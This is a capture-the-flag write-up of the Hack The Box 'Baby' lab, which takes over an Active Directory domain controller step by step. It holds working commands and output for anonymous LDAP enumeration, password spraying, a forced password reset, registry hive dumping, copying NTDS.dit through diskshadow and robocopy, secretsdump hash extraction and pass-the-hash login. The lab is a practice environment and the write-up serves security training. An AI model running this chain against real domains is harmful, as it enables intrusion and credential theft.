HTB Baby CTF Writeup
Unauthenticated LDAP enumeration reveals a plaintext password in a user description field. A password spray uncovers an account flagged STATUS_PASSWORD_MUST_CHANGE, and after resetting it, SeBackupPrivilege is abused to dump NTDS.dit via diskshadow and robocopy, yielding the Administrator hash.
HTB Baby CTF
Notes
Kerberos, SMB, LDAP, RDP open
BabyDC.baby.vl (computer dns name)
baby.vl (domain name)
SMB Enumeration
DOes not allow for null authentication
LDAP Enumeration
Allows for unauthenticated access! I ran:
1
2
3
$ nxc ldap 10.129.254.167 -u '' -p ''
LDAP 10.129.254.167 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.254.167 389 BABYDC [+] baby.vl\:
To confirm the access, I enumerated users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc ldap 10.129.254.167 -u '' -p '' --users
LDAP 10.129.254.167 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.254.167 389 BABYDC [+] baby.vl\:
LDAP 10.129.254.167 389 BABYDC [*] Enumerated 9 domain users: baby.vl
LDAP 10.129.254.167 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.254.167 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.254.167 389 BABYDC Jacqueline.Barnett 2021-11-21 10:11:03 0
LDAP 10.129.254.167 389 BABYDC Ashley.Webb 2021-11-21 10:11:03 0
LDAP 10.129.254.167 389 BABYDC Hugh.George 2021-11-21 10:11:03 0
LDAP 10.129.254.167 389 BABYDC Leonard.Dyer 2021-11-21 10:11:03 0
LDAP 10.129.254.167 389 BABYDC Connor.Wilkinson 2021-11-21 10:11:08 0
LDAP 10.129.254.167 389 BABYDC Joseph.Hughes 2021-11-21 10:11:08 0
LDAP 10.129.254.167 389 BABYDC Kerry.Wilson 2021-11-21 10:11:08 0
LDAP 10.129.254.167 389 BABYDC Teresa.Bell 2021-11-21 10:14:37 0 Set initial password to BabyStart123!
And to my surprise, in Teresa.Bell’s user description field (as you can see from the output above), we can see a (very) helpful message:
1
Set initial password to BabyStart123!
You could also use a module in netexec (get-desc-users) to enumerate for the description field:
1
2
3
4
5
6
$ nxc ldap 10.129.254.167 -u '' -p '' -M get-desc-users
LDAP 10.129.254.167 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.254.167 389 BABYDC [+] baby.vl\:
GET-DESC... 10.129.254.167 389 BABYDC [+] Found following users:
GET-DESC... 10.129.254.167 389 BABYDC User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.129.254.167 389 BABYDC User: Teresa.Bell description: Set initial password to BabyStart123!
I used the users-export flag in netexec to save users to a local file (users.txt):
1
$ nxc ldap 10.129.254.167 -u '' -p '' --users-export users.txt
I saved the password for teresa.bell to a file named “passwords.txt”.
I performed a password spraying attack to see if any user uses the same password, but got no results:
1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.254.167 -u users.txt -p passwords.txt
SMB 10.129.254.167 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
At this moment, I got stuck for a long time. I tried authenticating in different services like SMB, LDAP, WINRM, RDP, I also tried with Kerberos, but nothing worked.
After some time with absolutely no lead, I decided to look closer into the only thing I had access to in the machine at the moment which was LDAP.
It turns out NetExec didn’t return all users because I queried the domain anonymously, and the DC’s LDAP ACLs allowed me to see each object’s DN but hid key attributes (e.g., sAMAccountName, userPrincipalName, pwdLastSet) for some accounts.
Meanwhile, ldapsearch still shows those objects as DN-only “skeletons,” while NetExec’s --users output relies on those readable attributes to print a user record, so when it can’t read them it simply omits the entry—hence ldapsearch appeared “full,” but NetExec skipped users like Caroline whose attributes weren’t readable to anonymous.
A full dump command would look like this:
1
ldapsearch -x -H ldap://10.129.254.167 -D '' -w '' -b "dc=baby,dc=vl"
Querying for group members:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ldapsearch -x -H ldap://10.129.254.167 -b "CN=Users,DC=baby,DC=vl" '(objectClass=group)' cn member
<SNIP>
# dev, Users, baby.vl
dn: CN=dev,CN=Users,DC=baby,DC=vl
cn: dev
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
# it, Users, baby.vl
dn: CN=it,CN=Users,DC=baby,DC=vl
cn: it
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
<SNIP>
It’s possible to see two new users:
1
2
Ian Walker
Caroline Robinson
I added those two more entries to my users.txt file (following the name convention name.lastname):
1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat users.txt
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Caroline.Robinson
Ian.Walker
Running a password spray again, now I see a different error message for Caroline Robinson:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb 10.129.254.167 -u users.txt -p passwords.txt
SMB 10.129.254.167 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
SMB 10.129.254.167 445 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
More specifically,
1
STATUS_PASSWORD_MUST_CHANGE
Which means the credentials are correct but the account is flagged to change its password on next logon. To change the password for caroline,
1
2
3
4
5
$ smbpasswd -r 10.129.254.167 -U caroline.robinson
Old SMB password: BabyStart123!
New SMB password: Password123!
Retype new SMB password: Password123!
Password changed for user caroline.robinson
I used Password123! because it meets the password complexity requirements. I tried using something else, less secure, and it didn’t work.
This time it actually authenticated:
1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.254.167 -u caroline.robinson -p 'Password123!' --shares
SMB 10.129.254.167 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.129.254.167 445 BABYDC [+] baby.vl\caroline.robinson:Password123!
SMB 10.129.254.167 445 BABYDC [*] Enumerated shares
SMB 10.129.254.167 445 BABYDC Share Permissions Remark
SMB 10.129.254.167 445 BABYDC ----- ----------- ------
SMB 10.129.254.167 445 BABYDC ADMIN$ READ Remote Admin
SMB 10.129.254.167 445 BABYDC C$ READ,WRITE Default share
SMB 10.129.254.167 445 BABYDC IPC$ READ Remote IPC
SMB 10.129.254.167 445 BABYDC NETLOGON READ Logon server share
SMB 10.129.254.167 445 BABYDC SYSVOL READ Logon server share
I could log in as caroline.robinson via winrm:
1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i 10.129.254.167 -u caroline.robinson -p 'Password123!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>
Vertical Privilege Escalation
The user “caroline.robinson” has SeBackupPrivilege enabled
1
2
3
4
5
> whoami /priv
<SNIP>
SeBackupPrivilege Back up files and directories Enabled
There are a few ways to go with this, but I decided to simply get the SYSTEM and SAM hives:
1
2
3
4
5
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save HKLM\SAM SAM.SAV
The operation completed successfully.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
Then download the hives
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download system.sav
Info: Downloading C:\Users\Caroline.Robinson\Documents\system.sav to system.sav
Info: Download successful!
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download sam.sav
Info: Downloading C:\Users\Caroline.Robinson\Documents\sam.sav to sam.sav
Info: Download successful!
Use secretsdump to dump the hashes:
1
2
3
4
5
6
7
8
9
$ secretsdump.py local -sam sam.sav -system system.sav
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
However this does not gives us access as admin.
To get NTDS.dit (the main AD database in a DC) I decided to use robocopy with diskshadow.
For some reason, every time I created the file with instructions for the backup in my local machine and made the transfer to the victim machine via methods like a simply python http server or even the upload feature in evil-winrm, it basically fails to proceed with the backup.
For example:
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow.exe /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 9/19/2025 6:52:44 PM
-> set verbose o
SET VERBOSE { ON | OFF }
ON Turn on verbose mode. This provides information about writer inclusion/exclusion.
OFF Turn off verbose mode.
Example: SET VERBOSE ON
Even though backup.txt is completely fine:
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> type backup.txt
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
I needed to create the file directly via powershell:
1
2
3
4
5
6
7
8
9
10
11
$Out = '.\backup.txt'
Set-Content -Path $Out -Value 'set verbose on' -Encoding Ascii
Add-Content -Path $Out -Value 'set metadata C:\Windows\Temp\meta.cab' -Encoding Ascii
Add-Content -Path $Out -Value 'set context clientaccessible' -Encoding Ascii
Add-Content -Path $Out -Value 'set context persistent' -Encoding Ascii
Add-Content -Path $Out -Value 'begin backup' -Encoding Ascii
Add-Content -Path $Out -Value 'add volume C: alias cdrive' -Encoding Ascii
Add-Content -Path $Out -Value 'create' -Encoding Ascii
Add-Content -Path $Out -Value 'expose %cdrive% E:' -Encoding Ascii
Add-Content -Path $Out -Value 'end backup' -Encoding Ascii
Add-Content -Path $Out -Value 'exit' -Encoding Ascii
And run again to complete the backup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow.exe /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 9/19/2025 7:08:32 PM
-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Excluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.
<SNIP>
To copy NTDS.dit, we use robocopy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /B E:\Windows\NTDS .\ntds ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Friday, September 19, 2025 7:51:04 PM
Source : E:\Windows\NTDS\
Dest : C:\Users\Caroline.Robinson\Documents\ntds\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
New Dir 1 E:\Windows\NTDS\
New File 16.0 m ntds.dit
0.0%
0.3%
0.7%
1.1%
<SNIP>
With that we can use secretsdump again but this time against the ntds file to dump secrets from the AD environment:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ secretsdump.py local -ntds ntds.dit -system system.sav
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
And this time it’s possible to log in via winrm as administrator using PtH
1
$ evil-winrm -i 10.129.254.167 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
